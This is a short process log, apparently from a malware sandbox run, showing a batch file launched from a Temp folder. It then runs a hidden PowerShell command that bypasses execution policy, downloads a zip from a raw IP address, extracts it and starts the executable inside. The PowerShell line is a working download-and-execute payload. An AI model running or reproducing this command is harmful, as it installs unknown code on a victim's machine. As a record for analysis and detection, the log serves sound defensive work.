cmd.exe "C:\Windows\System32\cmd.exe" /c start /wait "BNODyPgWoSAeLYx" C:\Users\test22\AppData\Local\Temp\classcomputer.bat
1492powershell.exe powershell -w hidden -ep Bypass -nop -c iwr -Uri http://195.82.147.81/abacfa/032825-lop/classcomputer.zip -OutFile $env:TEMP\classcomputer.zip; Expand-Archive -Path $env:TEMP\classcomputer.zip -DestinationPath $env:TEMP; cd $env:TEMP\classcomputer; Start-Process -FilePath $env:TEMP\classcomputer\classcomputer.exe
2148